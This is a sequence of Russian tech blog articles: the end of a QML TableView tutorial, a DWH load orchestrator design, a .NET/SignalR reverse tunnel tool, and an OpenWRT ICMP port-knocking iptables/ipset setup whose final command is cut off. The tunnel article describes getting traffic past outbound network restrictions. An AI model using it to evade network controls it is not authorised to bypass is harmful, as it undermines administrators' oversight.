MouseArea { anchors.fill: parent onClicked: view.currentIndex = model.index } } } } } ``` В отличие от ListView, здесь нет свойства spacing. Вместо этого задается размер ячейки при помощи cellHeight и cellWidth. Если элемент будет меньше ячейки — будут отступы. Если больше — будут налезать друг на друга :) Результат выполнения программы: ![](https://habrastorage.org/r/w1560/storage2/46f/154/2eb/46f1542eba5cba66879453d56b606db2.png) Помимо возможности расположения элементов сеткой и отсутствия spacing, этот компонент имеет еще одно отличие от ListView — нет секций. В остальном же все сказанное о ListView справедливо и для GridView. ##### 3. TableView Некоторые данные удобнее всего отображать в виде таблицы. Для этого в Qt применяется класс QTableView. В QML с появлением модуля QtQuick Controls, появился готовый компонент для создания табличного представления данных. Сразу скажу, что модель должна все равно быть в виде списка. Один элемент модели соответствует строке таблицы, а данные для столбцов берутся из ролей элемента. Передать туда настоящую C++-модель таблицы, т.е. производный класс от QAbstractTableModel не получится — будет видна только первая колонка. В определении объекта TableView мы указываем, какие столбцы должны быть и какая роль из данных модели должна быть использована для каждого столбца. Рассмотрим пример. ``` import QtQuick 2.0 import QtQuick.Controls 1.0 Rectangle { width: 360 height: 360 ListModel { id: dataModel ListElement { color: "orange" text: "first" } ListElement { color: "lightgreen" text: "second" } ListElement { color: "orchid" text: "third" } ListElement { color: "tomato" text: "fourth" } } TableView { id: view anchors.margins: 10 anchors.fill: parent model: dataModel clip: true TableViewColumn { width: 100 title: "Color" role: "color" } TableViewColumn { width: 100 title: "Text" role: "text" } itemDelegate: Item { Text { anchors.centerIn: parent renderType: Text.NativeRendering text: styleData.value } } } } ``` Одна важная особенность касательно данных модели в делегате. Вид компонентов из QtQuick Controls настраивается при помощи стилей из QtQuick Controls Styles и по умолчанию используется такой стиль, чтобы компоненты выглядели как нативные для текущей платформы. По сути, эти компоненты объединяют модель и представление, а стиль является делегатом. Данные из модели в стиле доступны при помощи свойства styleData. В TableView делегат используется похожим образом со стилями и данные в нем доступны через объект styleData. В результате получим такую таблицу: ![](https://habrastorage.org/r/w1560/storage2/cf7/fee/14c/cf7fee14c7560322b0bddad7844b0689.png) В этом примере используется свойство itemDelegate, которое задает делегата для всех ячеек таблицы. Что делать, если для какого-то столбца нужно отображать данные немного по-другому? Можно задать делегат для данного конкретного столбца при его определении в TableViewColumn. Например, в первой колонке у нас цвет отображается текстом. Сделаем так, чтобы вместо этого ячейка закрашивалась этим цветом. ``` TableViewColumn { width: 100 title: "Color" role: "color" delegate: Rectangle { color: styleData.value } } ``` В результате получим цветные ячейки: ![](https://habrastorage.org/r/w1560/storage2/cb7/754/38a/cb775438a1048262c3ed706de424ab6d.png) Для всей строки тоже есть свой делегат (свойство rowDelegate). С его помощью можно настроить такие вещи, как высота столбца, цвет фона и т.п. TableView позволяет делать таблицы на чистом QML и отображать их так, чтобы они выглядели как нативные, но при этом позволяя гибко настроить их внешний вид. Такой компонент может сильно пригодиться для создания десктопных программ с интерфейсом на QML. Но не смотря на возможность выглядеть как десктопный компонент, TableView не работает с чистыми табличными моделями и может обработать только данные, представленные в виде списка. ##### Выводы QML, ориентированный в первую очередь на реализацию представления, имеет для этого мощные, и в то же время достаточно простые инструменты. Среди стандартных компонентов есть готовые представления, которые берут на себя значительную часть работы, а пользователь остается только предоставить модель и делегата. Экземпляры делегатов во многих представлениях создаются и удаляются на лету, поэтому для хорошей производительности и, соответственно, плавной анимации нужно стараться делать их максимально легкими.
https://habr.com/ru/post/184416/
null
ru
null
# Тактовый механизм управления DWH: как разгрести бесконечную очередь и не умереть ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/e80/340/845/e803408459fdc6cf95220e4033630ea2.jpg)Привет, Хабр! Я хочу поделиться с тобой тем, как работает наш сервис по управлению загрузками данных – в общих чертах, не погружаясь супер глубоко. Основная задача сервиса – снизить трудозатраты разработчиков и сопровождения DWH на всякую рутину, связанную с управлением загрузками, в идеале – как в старой доброй кнопочке «[Сделать всё хорошо](http://button.dekel.ru/)». ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/220/6ff/be3/2206ffbe366e23d75e1ba7c09ddaf716.png)### Как работает управляющий механизм Итак, речь пойдет об автоматизированной системе под названием «Модуль управления» или просто УМ. Модуль управляет бОльшей частью процессов в Централизованном хранилище данных (ЦХД). Большей – потому что есть обходные пути для *особенных* источников и витрин. Всегда же должен быть план Б =). В ЦХД стекаются данные из информационных систем, которые используются в компании по всей стране: в цифрах это 300+ систем-источников и примерно 20 тысяч таблиц-источников, занимающих 650 ТБ, распределенных между [Greenplum](https://greenplum.org/) и [Hive](https://hive.apache.org/), а также широкий слой детальных данных и множество витрин. Процессы, которыми управляет УМ — это примерно то же, что и у всех: поэтапные загрузки данных в различные слои DWH, сбор статистики, онлайн-проверка качества данных, рассылка оповещений и прочая стандартная дребедень. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a23/405/d7c/a23405d7c917f70bc9e76e46ff393179.png)### Базовые принципы #### 1. Максимальная автоматизация всех процессов Первый и главный принцип, который заложен в саму суть системы – «автоматизируй всё, что можно автоматизировать». Мы оставляем людям минимальную ручную настройку и разбор ошибок. Все процессы завязаны на метаданные: когда есть полное описание таблицы, можно и DDL сгенерировать, и DML автоматически во время загрузки сформировать, и алгоритм обновления выбрать без участия человека. Про всякие попутные логирования и говорить нечего. Специально обученный человек один раз разрабатывает несколько унифицированных шаблонов загрузки данных и прописывает в системе логику выбора шаблона на основе метаданных (например, один шаблон для таблиц, которые должны храниться в Greenplum, другой — для тех, кто хранится в Hive). И всё — новые сущности могут грузиться по этому шаблону без дополнительных приседаний. #### 2. Все процессы разбиты на атомарные шаги Загрузки данных, проверки КД, синхронизация метаданных, сбор статистики и т.д. – все процессы, которые умеет контролировать УМ, зарегистрированы в репозитории и описаны как набор параметризированных операций-шагов, между которыми есть направленные связи (как в ориентированном графе). Каждая операция должна быть неделимой ([атомарной](https://ru.wikipedia.org/wiki/%D0%90%D1%82%D0%BE%D0%BC%D0%B0%D1%80%D0%BD%D0%B0%D1%8F_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D1%8F)) и перенакатываемой ([идемпотентной](https://ru.wikipedia.org/wiki/%D0%98%D0%B4%D0%B5%D0%BC%D0%BF%D0%BE%D1%82%D0%B5%D0%BD%D1%82%D0%BD%D0%BE%D1%81%D1%82%D1%8C)). #### 3. Процесс — это направленный ациклический граф Процессы собираются из атомарных шагов, как из кубиков, и между кубиками создаются направленные связи. Ограничений на состав и сложность процессов нет (кроме требования на отсутствие циклов), и процессы бывают о-о-очень разными по наполненности и ветвистости. Например, процесс загрузки данных в слой оперативных данных состоит из четырех этапов: 1. Загрузка в промежуточную таблицу (aka staging), очищаемую перед каждой загрузкой; 2. Проверка качества загруженных в staging данных (на дубли, на допустимые значения и пр); 3. Актуализация целевой таблицы постоянного хранения (aka target) одним из стандартных алгоритмов; 4. Проверка качества загруженных в target данных (бизнесовые проверки). Этот процесс универсальный, не привязанный к конкретной таблице источника или таргету – наоборот, target задается параметром при старте процесса, а все остальное вычисляется из метаданных. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/622/e10/0bf/622e100bf1e98a0cc07e64ab1be965d9.png)В отличие от загрузок ODS, расчеты таблиц детального слоя и витрин часто объединены в группы по предметным областям, и каждому “кубику” заранее задана конкретная таблица ХД. Представление таких процессов выглядит чуть более сложно, например, так: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f8c/fd3/c2d/f8cfd3c2d219dd508fbc00365376d40e.png)Но при сборке такого процесса все равно используются универсальные кубики, для каждого из которых надо только конкретную таблицу задать. Хранится описание процессов в трех настроечных таблицах: Таблица процессов, Таблица шагов процесса и Таблица связей между шагами. #### 4. Регистрация задачи вместо немедленного выполнения Когда через API прилетает очередное задание на запуск процесса, УМ вычисляет все необходимые параметры операций-шагов процесса, формирует команды и добавляет операции в общую очередь операций. Непосредственные расчеты начнутся позже – когда все пререквизиты отработают и получат успешный статус. Пререквизитами операции являются как операции того же процесса, которые выше по графу, так и другие процессы из общей очереди, использующие тот же объект ХД. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e99/423/830/e994238302a5bba6fc706b4b48413639.png)В целом, порядок выполнения операций определяется принципом FIFO: новые загрузки встают в конец очереди, а оркестратор отбирает из очереди первые N операций, чтобы отправить на выполнение. Дополнительно реализовано множество способов управления очередью и процессами в ней: * отмена – операции и процесс удаляются из очереди, освобождая дорогу другим; * пауза – операции не отправляются на выполнение, но остаются в очереди (и блокируют зависимые процессы); * рестарт – процесс начинается заново, как будто до этого ничего не выполнялось; * рекавер – для процессов, упавших в ошибку: продолжить с места падения, повторить ошибочную операцию; * игнор ошибки операции – для продвинутых пользователей с расширенными правами: продолжить с места падения без повтора ошибочной операции; * подвинуть процесс вверх/вниз в очереди – на примере с картинки можно поменять местами процессы B и C, т.к. они еще не начали выполнение; * подвинуть операцию без пререквизитов вверх/вниз очереди – операций без пререквизитов может быть много (в пиковые нагрузки на сервис в работе может быть несколько тысяч процессов). Такие операции образуют подочередь (очередь свободных операций), и обычно сортируются по дате добавления, но на этот порядок также можно влиять. Надо отметить, что на порядок выполнения операций внутри одного процесса влиять нельзя – т.к. это может привести к ошибкам и дефектам данных. #### 5. Дискретно-непрерывный подход к ведению загрузок Модуль управления – это механизм, работающий по принципу «включился – поработал – выключился – повторил через N минут». Одну итерацию такого цикла мы называем тактом. Частота тактов настраивается в зависимости от контура (среды) – на продуктиве это раз в минуту. В начале каждого такта механизм определяет перечень операций, которые можно выполнить немедленно, асинхронно запускает их и завершает такт. Момент с асинхронностью здесь очень важен – система должна уметь запускать операции без ожидания завершения, т.к. самые тяжелые работают по несколько часов. Операция выполняется в обертке – стандартном джобе, который логирует и журналирует ход выполнения. «Перечень операций, которые можно выполнить немедленно» — это как раз те операции из очереди, у которых не осталось пререквизитов и которые попадают в число «первых N». Также в начале такта УМ выполняет управляющие действия над процессами - полностью выполненные закрывает, другие инициализирует. #### 6. Остановка ветки в случае ошибки Когда всё идет гладко – загрузки грузятся, шестеренки крутятся, пользователи занимаются своими делами. Но как только происходит ошибка выполнения — блокируется всё, что по пайплайну зависит от упавшего этапа. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/815/b12/03d/815b1203d992e33c654dbbcdcc5a75fe.png)Игнорировать ошибку и продолжить процесс загрузки обычно нельзя, т.к. невыполнение одного этапа отрицательно скажется на результате остальных. Отменить весь процесс, в котором произошла ошибка, тоже нельзя – можно упустить массовую проблему или получить дырку в данных. Из этого вытекает следующий факт – упавший процесс остается висеть в очереди. Когда зарегистрировано несколько загрузок по одному и тому же объекту, то ошибка одной загрузки блокирует не только pipeline-ветку процесса (например, какая-то витрина не стартанет, пока не рассчитается таблица DDS), но и остальные загрузки в тот же объект (т.е. ошибка при расчете таблицы за 1 января блокирует загрузки той же таблицы за другие даты). При этом на несвязанные загрузки влияния вообще нет и не должно быть – работают себе независимо и в ус не дуют. В результате получается два момента, которые стоит отметить: * с любой проблемой, даже просто обрывом коннекта, должен разбираться ответственный сотрудник; * если ошибкой никто не занимается, то по объекту может накопиться приличный хвост, который начнет рассасываться только после решения проблемы. Второй момент кажется минусом – но это только на первый взгляд. На самом деле это своеобразная защита от проблем в данных, которая позволяет разбираться с ошибками в порядке критичности, не бросаясь сразу на все и не переживая, что от задержки что-то испортится или сломается. Кстати, в бэклоге находится задача по разделению ошибок коннекта и остальных проблем. Предлагается при ошибке коннекта к БД повторять попытку выполнения операции через некоторое (настраиваемое) время. Ну и ограничить число попыток, конечно, чтобы в бесконечный цикл не уйти. #### 7. Защита открытых транзакций и логическая блокировка объектов Статусы операций живут в специальном «журнале операций» – таблице, в которую попадают записи о задействованных в загрузках объектах ХД и операциях над ними. Перед началом каждой операции в журнал вставляется строка с указанием на объект, типом операции и статусом Running. После выполнения операции статус записи в журнале меняется на Success или Error в зависимости от результата. Записи в журнале живут, пока не завершится вся загрузка (все операции процесса). В результате журнал не только отражает ход работы процесса, но и создает логическую блокировку объекта на весь период загрузки – даже после успешного завершения атомарной операции аналогичную новую операцию начать нельзя, т.к. следующие операции того же процесса могут использовать данные заблокированного объекта. Например, данные staging-таблицы нельзя перетирать, пока они успешно не зальются в target. Логическая блокировка объекта в журнале реализована просто как уникальный индекс над таблицей-журналом. Это невероятно полезная штука, супер-резерв, который несколько раз спасал нас от проблем потери данных. Не часто, но было такое, что что-то где-то задублилось, сломалось, неверно настроилось – и УМ пытался запустить одну и ту же операцию дважды. А т.к. вставка записи в журнал происходит *перед* выполнением операции, то такой номер не проходит – кто первый запись в журнал вставил, тот таблицу и ~~танцует~~ загружает. Уникальный индекс в этом плане надежен как скала =). ### Технологический стек > Далее в статье упоминаются продукты таких вендоров как IBM и Oracle. Я понимаю, что в свете событий 2022 года использование их в проекте может быть, мягко говоря, затруднено или неразумно. Но пока так исторически сложилось. Принципы и подходы, описанные в статье, универсальны – ровно ту же историю можно реализовать на опенсорсных продуктах (и нам тоже придется постепенно перейти). > > ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/e7b/541/16d/e7b54116d67716a95e5411f3d90e4b36.jpg)Система реализована как связка Oracle БД + ПО-оркестратор + рутины. ![Упрощенная схема взаимодействия компонентов](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f36/491/4aa/f364914aa4135b99159843a352933bf1.png "Упрощенная схема взаимодействия компонентов")Упрощенная схема взаимодействия компонентов**Рутины** (именованный исполняемый код) реализуют логику обработки данных – бизнесовую или техническую. Они могут быть реализованы как угодно: exe-файл, python-скрипт, bash-скрипт, процедура/функция БД, объект ETL-инструмента и пр. Всякие исполняемые файлы могут запускаться в контейнере, иметь собственные настройки/конфиги/окружение и пр. Все это неважно для УМ – главное, чтобы рутина была описана в настройках УМ как исполняемая параметризованная команда. Пример: рутина актуализации ODS (т.е. обновления target-таблицы данными staging) у нас реализована как python-скрипт. Параметризованная команда вызова этого скрипта выглядит примерно так: ``` $python_path $py_act_folder/act_ods.py -t $P_OBJECT_NAME -src $P_OBJECT_SRC_CODE -st $P_START_DTTM -end $P_END_DTTM -upload $P_UPLOAD_DTTM -env $P_ENV -pkg_id $P_PKG_ID -init $P_INIT ``` Все, что начинается с $, является либо параметром системы, либо параметром рутины. Параметры рассчитываются в момент регистрации загрузки, и в очередь попадает уже полностью готовая команда. Добавить в УМ новую рутину легко – в настроечных таблицах описывается специальный объект: сама команда, способ выполнения (т.е. как выполнять – как команду ОС или, например, в БД отправлять) и формулы для расчета параметров. Далее указанный объект можно встраивать в любой процесс. **Oracle БД** используется не только как хранилище метаданных, логов, журналов и настроек, но и как основной мозг системы (backend). Вся логика управления процессами зашита в хранимые объекты БД – представления и PL/SQL-пакеты. Oracle как основа бэкенда был выбран сознательно – дополнительная прослойка между БД и оркестратором усложнила бы систему, но при этом не принесла бы особого профита. Реализовывать внутреннюю логику в оркестраторе мы пробовали, и нам не понравилось – очень тяжело поддерживать по сравнению с текущим вариантом. Код, написанный на SQL и PL/SQL, гораздо проще версионировать, накатывать изменения, оптимизировать и отлаживать, можно включить в CI/CD и пр. Также дополнительный плюс – нет особой привязки к оркестратору – переехать на другое ПО в случае чего не такая уж и проблема. Сменить СУБД, конечно, будет несколько сложнее. Основные объекты в БД: 1. Журнал операций; 2. Очередь операций; 3. Таблица-пул, в которую кладется перечень операций, отобранных из очереди для выполнения в текущем такте. Каждой операции сопоставлено имя объекта оркестратора, который будет её выполнять; 4. Процедура управления, отвечающая за всю внутреннюю кухню обработки процессов и заполнение пула; Кстати, таблица-пул появилась не сразу – поначалу оркестратор вычитывал список операций непосредственно из очереди. Но запрос к очереди довольно тяжелый, и оказалось, что такой подход иногда приводит к накладкам. **Оркестратор** отвечает за “тактовость” работы механизма и “дергает за ручку” API остальных объектов системы. Он может быть реализован в любом инструменте, позволяющем обращаться к базам разных СУБД, запускаться по расписанию и отправлять команды в операционную систему. ETL-инструменты вроде Informatica, Airflow и даже NiFi вполне подходят. Мы выбрали IBM Datastage – на момент выбора у нас были лицензии, поддержка IBM и собственная экспертиза, плюс на стадии пилота Datastage оказался лучше, чем Airflow – в нем меньше багов и отказоустойчивость выше. В оркестраторе реализовано несколько объектов, описывающих основные процессы – один головной, отвечающий за общее руководство, и дочерние, реализующие выполнение одной операции. Дочерних объектов столько, сколько реализовано способов выполнения операций – в нашем случае два: команды ОС и вызов процедуры БД. Когда появится новый способ выполнения, придется доработать оркестратор: создать новый объект и прописать его в настроечных таблицах БД, чтобы правильно заполнялась таблица-пул. ![Процессы оркестратора: основной и дочерний](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d4d/81c/545/d4d81c54508e0dc7d33a22fdac7ee0e6.png "Процессы оркестратора: основной и дочерний")Процессы оркестратора: основной и дочерний### Фишки и плюшки #### 1. Балансировка нагрузки на БД Количество одновременно работающих в ХД процессов надо контролировать – если отправить на выполнение одновременно 100500 DML-операций, база может крякнуть и упасть. На продуктивном контуре под загрузки ХД выделены ресурсы, позволяющие работу 300 запросов одновременно (это на технические нужды, пользователи в другой группе тусят), но иногда и 300 слотов мало – в очереди может быть несколько тысяч незаблокированных операций. Такие аппетиты ограничиваются так: каждый такт УМ выбирает из очереди первые N операций, где N = Limit - Count\_R. *Limit* – максимально допустимое число одновременно выполняемых DML-операций, при котором гарантированно не падает БД. *Count\_R* – число операций, работающих в данный момент. Limit пока задается пользователем вручную как глобальный параметр системы, но в бэклоге есть задача «Автоматическая адаптация лимита», в которой предлагается периодически проверять состояние Greenplum и повышать/понижать Limit. #### 2. Пока нет проблем масштабирования Количество систем-источников постоянно растет, но это не сказывается на производительности. Фактически, мы упираемся в возможности БД ЦХД (Greenplum) в части числа одновременных запросов и свободное место. Также ПО, на котором работает оркестратор-запускалка, должно поддерживать одновременную работу как минимум Limit процессов/джобов. УМ можно развернуть на разных ПО – в данный момент у нас IBM Datastage, ресурсов и отказоустойчивости которого пока хватает. При этом у самого УМ, отдельно от ПО и от Greenplum, ограничений практически нет. #### 3. Все регламенты дружат и шарят ресурсы Благодаря очереди и круглосуточной работе загрузки в ХД могут идти 24/7/365 – по разным объектам, за разные даты и периоды. Нет такого, что сейчас мы грузим все за 1 июня, а вчера грузили 31 мая. Одновременно могут идти процессы инициализирующих и регулярных загрузок с абсолютно разными периодами. Загрузка одного и того же объекта может быть включена в очередь несколько раз за разные периоды. Окончание загрузки одного объекта может стать триггером для старта загрузки другого. Реальный пример: в последнюю версию скрипта, обеспечивающего обновление целевой таблицы ODS, закрался некий баг, который немного портил данные. Баг волшебным образом миновал все тесты и выкатился на прод, где прожил несколько дней, пока его не обнаружили и не исправили. В результате пришлось загружать данные источника в ODS заново за несколько дней. Сотрудник, разбиравший проблему, после исправления скрипта просто выполнил вручную запуск загрузки несколько раз за нужные периоды – без ожиданий, когда добежит одно, чтобы запустить другое. Загрузки зарегистрировались, встали в очередь и последовательно, в хронологическом порядке сами отработали без дополнительных танцев с бубном. Таблица детального слоя, при расчете которой используется описанная таблица ODS, стартовала сама\* за эти же периоды, согласно своим настройкам запуска. От таблицы DDS веером разошлись загрузки витрин, опять же абсолютно самостоятельно, без дополнительных пинков. \*За автоматический запуск расчета по событию или группе событий отвечает другая система (сервис подписок), о которой я могу рассказать в отдельной статье, буде у сообщества возникнет такой интерес. У внимательного читателя мог возникнуть вопрос – а зачем запускать несколько загрузок за разные периоды, если можно запустить одну за один общий большой период?В нашем случае у загрузок из источников в ODS есть промежуточный этап, когда пачка данных источника «приземляется» в сыром виде в Hadoop. Такая пачка данных называется пакетом и, во-первых, охарактеризована уникальным идентификатором, датой и периодом выгрузки, во-вторых, хранится довольно долго (места в Hadoop особо не жалко) и может быть переиспользована в подобных случаях. Такой промежуточный этап, хоть и удлиняет процесс, но позволяет отвязать заливку данных в ODS от процесса выгрузки из источника, а значит, разнести по времени «окно» доступности источника и процесс загрузки. При проблемах и/или регламентных работах в ХД, не позволяющих провести загрузку в ODS, пакеты копятся в Hadoop и могут быть загружены в любой момент. Плюс можно в любой момент загрузить данные заново и не потерять при этом историю изменений. #### 4. Все операции порождают событие Каждая загрузка, проходя очередной этап (выполнив операцию), создает событие, регистрируемое в системе. Эти события используются как триггер для запуска следующих по пайплайну загрузок в слой детальных данных и витрины. Также события используются в различных метриках и мониторинге выполнения регламента – отслеживается выполнение плана. ### Выхлоп За месяц УМ обрабатывает суммарно более 300 тысяч разноплановых процессов и полтора миллиона операций. Их поддержкой занимается команда из 10-12 человек. Все тщательно залогировано, и логи хранятся 3 года. По любому процессу можно поднять историю и, например, провести анализ изменения скорости выполнения тяжелой операции. Примерно 85% загрузок из источников в ODS реализуются без участия разработчика, на готовых процессах (если источник более-менее стандартный и не требует специальной реализации). Разработка загрузок в DDS и витрины значительно ускорена – разработчики тратят на создание нового процесса и встройку его в общую систему считанные минуты, а основную часть времени – на реализацию и отладку бизнес-логики. Правда, на погружение в работу с УМ тратится больше времени, это да. Команда сопровождения избавлена от многих проблем, типичных для хранилищ, реализованных в лоб – таких как управление количеством одновременных процессов, порядок выполнения равнозначимых процессов, необходимость ручного контроля выполнения и последовательного запуска зависимых процессов в случае накладок или сбоев и т.д. Очень большой плюс – круглосуточная работа без дежурных. Наш кластер Greenplum не позволил бы провести, например, все дневные загрузки за одну ночь или за один рабочий день, а УМ выполняет большую часть работы по контролю и запуску сам, что позволяет не сильно страдать при отставании регламента и нагнать его в любой момент. На логах и журналах УМ собирается самая разная статистика – выполнение регламента, число ошибок в час, среднее время выполнения и подозрительные зависания операций и прочее. Также на них натравлена Grafana – на графиках в режиме реального времени можно наблюдать за показателями системы и получать от Telegram-бота оповещения при появлении проблем.
https://habr.com/ru/post/695416/
null
ru
null
# Обратный websocket/http туннель данных на .NET + SignalR ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e0a/bec/e69/e0abece691d2fc8380edd1abceff1a90.png)Возникла необходимость организовать трафик к внешнему сервису из сегмента сети с ограничением на исходящие соединения. Этот внешний сервис работал одновременно со множеством tcp/udp сокетов. При беглом обзоре существующих утилит не обнаружил готовое решение инкапсуляции множества сокетов с поддержкой «обратного» соединения. Решил сделать свое решение, основными требованиями которого являются: 1. Использовать один белый IP адрес с одним tcp портом, по умолчанию 80 порт http. 2. Транспорт туннеля по websocket или http, *перфоманс или доступность*. Идеально если будет автоматический выбор лучшего из доступных протоколов обмена. 3. Туннелирование одновременно множества tcp и udp сокетов. 4. Кросс-платформенное консольное приложение, конфигурируемое параметрами запуска.  Исходя из пунктов 2 и 4 были выбраны .NET7 и библиотека SignalR. С этим набором я создал open-source проект, репозиторий<https://github.com/viordash/TuToDataTunnel>. В результате получилось два приложения TutoProxy.Server и TutoProxy.Client, в артефактах GitHub actions хранятся скомпилированные бинарники (x64), для linux и windows. [SignalR](https://learn.microsoft.com/ru-ru/aspnet/core/signalr/introduction?view=aspnetcore-7.0) - это отличная библиотека для real-time транспорта данных, которая умеет автоматически выбирать протокол обмена: если недоступен websocket, то она переключается на http (long polling). Приложение TutoProxy.Server - это сервер входящих подключений для клиентов туннелирования и также конечных tcp/udp клиентов.  Аргументы его запуска: * ,  адрес сервера, например<http://200.100.10.1:8088> * **--tcp** ,  список прослушиваемых tcp-портов, например --tcp=80,81,443,8000-8100. Опционально, при условии наличия параметра **--udp**. * **--udp** , список прослушиваемых udp-портов, например --udp=700-900,65500. Опционально, при условии наличия параметра **--tcp**. * **--clients**   опциональный список разрешенных клиентов, например --clients=Client1,Client2 если этот параметр опущен, то не будет проверок доступа для подключаемого клиента Например, строка запуска входного туннелирования около 50-ти tcp/udp портов на три клиента будет выглядеть так: `TutoProxy.Server http://200.100.10.1:8088 --tcp=3389,8071-8073,10000-10010,20000-20010 --udp=5000-5010,7000-7010 --clients=Client0Linux,ClientSecLinux,Client3Win` Приложение TutoProxy.Client - это клиент туннелирования выходного трафика.  Аргументы его запуска: * , адрес сервера TutoProxy.Server, например<http://200.100.10.1:8088> * , IP получателя данных, например 127.0.0.1 * **--id** , ID клиента, например --id=Client1 * **--tcp** ,  список tcp-портов, например --tcp=80,81,443,8000-8100. Опционально, при условии наличия параметра **--udp**. * **--udp** , список udp-портов, например --udp=700-900,65500. Опционально, при условии наличия параметра **--tcp**. Например, строка запуска выходного туннелирования 5-ти tcp и 3-х udp портов будет выглядеть так: `TutoProxy.Client http://200.100.10.1:8088 127.0.0.1 --tcp=8071,10000,20004-20006 --udp=7000-7002 --id= Client0Linux.` Важно учесть то, что порты у различных TutoProxy.Client не должны пересекаться, т.е. каждый клиент обслуживает уникальный набор сокетов/портов. Данное решение также может подойти для разворачивания веб-сервисов на «серых» IP, т.е. можно сэкономить на дорогостоящем VPS. Известные на данный момент недостатки: * Оверхед трафика, для его минимизации используется MessagePack. * Нет поддержки keep-alive на выходе туннелей. Вероятно в будущем придется добавить парсинг http заголовков на входе в туннель, чтобы активировать keep-alive хотя бы для http трафика
https://habr.com/ru/post/709002/
null
ru
null
# ICMP port knocking в OpenWRT Впечатлённый [статьёй](http://habrahabr.ru/post/186488/) решил реализовать подобное решение на домашнем роутере, под управлением OpenWRT (Bleeding Edge r38381). Решение наверно не настолько элегантное как на Mikrotik, но главное что рабочее и без скриптов и cron. Так же его можно взять за основу для реализации на других ОС Linux. Кому интересно прошу под кат. Пришлось облазить много ресурсов. Думал и скрипты писать по отслеживанию LOG или ULOG событий от iptables в системном журнале. Даже наткнулся на проект — [Specter](http://joker.linuxstuff.pl/specter/), с помощью которого можно реализовать реакцию (выполнение скриптов) на события ULOG от iptables, чего нет в ulogd. [Тут](http://www.portknocking.org/view/implementations) большая подборка старых проектов по реализации Port knocking, но совсем не хотелось заниматься компиляцией на роутере или виртуалке. При поиске решения, часто наталкивался на советы про быстроту и удобство ipset-ов, что бы не нагромождать iptables кучей «одинаковых» по действию правил. И в них были замечены ключи "--match-set" и "--add-set", дальнейшие поиски и привели к решению. В общем итоге было принято решение использовать ipset-ы, т.к. не нужно что-либо отслеживать и писать реакции на события за пределами iptables. Итак, решение реализовано с использованием сугубо iptables и ipset. Для простоты восприятия комбинация «стуков» будет такой же, как и в упомянутой статье. Напомню это — 2-а ICMP пакета подряд размером 70 байт и за ними 2-а ICMP пакета подряд размером 100 байт. Ну и не забываем о размере заголовка ICMP паркета (28 байт). В моём случае после соответствующих «стуков» разрешается соединение на порту 1194/tcp для OpenVPN сервера для IP адреса, с которого произвели «стуки». С инструкцией по настройке OpenVPN сервера на OpenWRT можно ознакомиться на официальной [Wiki](http://wiki.openwrt.org/inbox/vpn.howto), т.к. это выходит за рамки данной статьи. #### Подготовка ipset-ов Стоит отметить, что поддержка правил для создания ipset-ов в файле настроек файрвола OpenWRT появилось только с релиза Attitude Adjustment, правда в ревизии r36349 не работало (При применении правил, выдавало предупреждение, что datatype для ipset-ов не указан). Но ipset-ы можно создать ручками, желательно создавать их при загрузке, например: прописать в /etc/rc.local. ``` ipset create knock1 hash:ip ipset create knock2 hash:ip ipset create knock3 hash:ip ipset create AllowedVPN hash:ip ``` Если же fw3 поддерживает создание ipset-ов (fw3 — это сам инструмент управления файрволом в OpenWRT, с детальным описанием настроек можно ознакомиться на официальной [Wiki](http://wiki.openwrt.org/doc/uci/firewall)), то в файл настроек файрвола **/etc/config/firewall** добавляются следующие пункты: ``` config ipset option enabled 1 option name knock1 option storage hash option match src_ip config ipset option enabled 1 option name knock2 option storage hash option match src_ip config ipset option enabled 1 option name knock3 option storage hash option match src_ip config ipset option enabled 1 option name AllowedVPN option storage hash option match src_ip ``` #### Логика отлавливания последовательности ICMP пакетов ##### Ловим первый knock ``` icmptype 8 length 98 ! match-set knock1 src ! match-set knock2 src ! match-set knock3 src ! match-set AllowedVPN src add-set knock1 src ``` Исходящий адрес ICMP пакета размером 98 байт заносим в ipset knock1, если его нет в остальных ipset-ах. ##### Ловим второй knock ``` icmptype 8 length 98 match-set knock1 src ! match-set knock2 src ! match-set knock3 src ! match-set AllowedVPN src add-set knock2 src ``` Исходящий адрес ICMP пакета размером 98 байт заносим в ipset knock2, если он уже есть в ipset-е knock1 и нет в остальных. ##### Ловим третий knock ``` icmptype 8 length 128 match-set knock1 src match-set knock2 src ! match-set knock3 src ! match-set AllowedVPN src add-set knock3 src ``` Исходящий адрес ICMP пакета размером 128 байт заносим в ipset knock3, если он так же присутствует в ipset-ах knock1 и knock2, но нет в AllowedVPN. ##### Ловим четвёртый knock ``` icmptype 8 length 128 match-set knock1 src match-set knock2 src match-set knock3 src ! match-set AllowedVPN src add-set AllowedVPN src ``` Исходящий адрес ICMP пакета размером 128 байт заносим в ipset AllowedVPN, если он так же присутсвует в ipset-ах knock1, knock2 и knock3. Для того что бы последовательность отлавливалась правильно, правила в iptables необходимо заносить в обратном порядке. Иначе первый «стук» будет отловлен первым и вторым правилами сразу так же как третий «стук» отловится третьим и четвёртым правилами сразу. Дополнительные проверки на отсутствие в других ipset-ах указаны для чёткого срабатывания последовательности «стуков». Ниже приведена последовательность команд iptables для занесения в цепочку input\_rule (специально созданная цепочка в файрволе OpenWRT для правил пользователя), добавляются в **/etc/firewall.user**. ``` iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 128 -m limit --limit 10/s -m set --match-set knock1 src -m set --match-set knock2 src -m set --match-set knock3 src -m set ! --match-set AllowedVPN src -j SET --add-set AllowedVPN src iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 128 -m limit --limit 10/s -m set --match-set knock1 src -m set --match-set knock2 src -m set ! --match-set knock3 src -m set ! --match-set AllowedVPN src -j SET --add-set knock3 src iptables -A input_rule -p icmp -m icmp --icmp-type echo-request -m length --length 98 -m limit --limit 10/s -m set --match-set knock1 src -m set ! --match-set knock2 src -m set ! --match-set knock3 src -m set ! --match-set AllowedVPN src -j SET --add-set knock2 src iptables -A input_rule -p icmp -m icmp 